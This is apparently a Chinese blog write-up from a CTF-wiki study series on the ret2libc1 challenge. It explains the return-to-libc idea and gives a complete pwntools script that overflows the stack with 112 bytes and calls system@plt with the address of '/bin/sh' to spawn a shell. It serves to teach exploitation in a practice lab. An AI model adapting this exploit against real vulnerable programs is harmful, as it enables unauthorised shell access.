当前位置:网站首页>跟着CTF-wiki学pwn——ret2libc1
跟着CTF-wiki学pwn——ret2libc1
2022-07-05 23:35:00 【大瑞大】
ret2libc
原理
执行libc中的/bin/sh
步骤
首先,检查程序的安全保护
开启NX:no executable
(不可执行内存数据页)
(不能利用ret2text与ret2shellcode)
其次,查看有无/bin/sh

查看有无system (segment是plt,不是extern)

/bin/sh,是一个字符串,需要知道地址。
system, 是一个可调用函数,需要知道地址。
用 system 调用 /bin/sh即可
所以编写payload,寻址方式可以查看之前的博客,同为112。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
调用libc函数的格式:
system_plt + 4个字节(32位地址) + /bin/sh字符串
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
边栏推荐
- 激光slam学习记录
- PV静态创建和动态创建
- 总结了 800多个 Kubectl 别名,再也不怕记不住命令了!
- C# 反射与Type
- How to enable relationship view in phpMyAdmin - how to enable relationship view in phpMyAdmin
- 多普勒效应(多普勒频移)
- Bao Yan notebook IV software engineering and calculation volume II (Chapter 8-12)
- 20220703 周赛:知道秘密的人数-动规(题解)
- 11gR2 Database Services for "Policy" and "Administrator" Managed Databases (文件 I
- 20. Migrate freetype font library
猜你喜欢

What if the C disk is not enough? Let's see how I can clean up 25g of temp disk space after I haven't redone the system for 4 years?
![[original] what is the core of programmer team management?](/img/11/d4b9929e8aadcaee019f656cb3b9fb.png)
[original] what is the core of programmer team management?

Biased sample variance, unbiased sample variance
![[classical control theory] summary of automatic control experiment](/img/22/9c9e107da7e305ce0a57d55b4d0b5a.png)
[classical control theory] summary of automatic control experiment

Xinyuan & Lichuang EDA training camp - brushless motor drive

Use mapper: --- tkmapper

20.移植Freetype字体库

el-cascader的使用以及报错解决

Rsync remote synchronization

保研笔记二 软件工程与计算卷二(13-16章)
随机推荐
Neural structured learning - Part 3: training with synthesized graphs
PADS ROUTER 使用技巧小记
【LeetCode】5. Valid palindrome
15 MySQL-存储过程与函数
Bao Yan notebook IV software engineering and calculation volume II (Chapter 8-12)
做自媒体影视短视频剪辑号,在哪儿下载素材?
Rasa 3. X learning series -rasa 3.2.1 new release
同事悄悄告诉我,飞书通知还能这样玩
Rsync remote synchronization
Introduction to JVM
PV静态创建和动态创建
C file and folder operation
Attacking technology Er - Automation
C# Linq Demo
How to insert data into MySQL database- How can I insert data into a MySQL database?
Which side projects can be achieved? Is it difficult for we media to earn more than 10000 a month?
How to rotate the synchronized / refreshed icon (EL icon refresh)
How to design API return code (error code)?
698. 划分为k个相等的子集 ●●
Redis high availability - master-slave replication, sentinel mode, cluster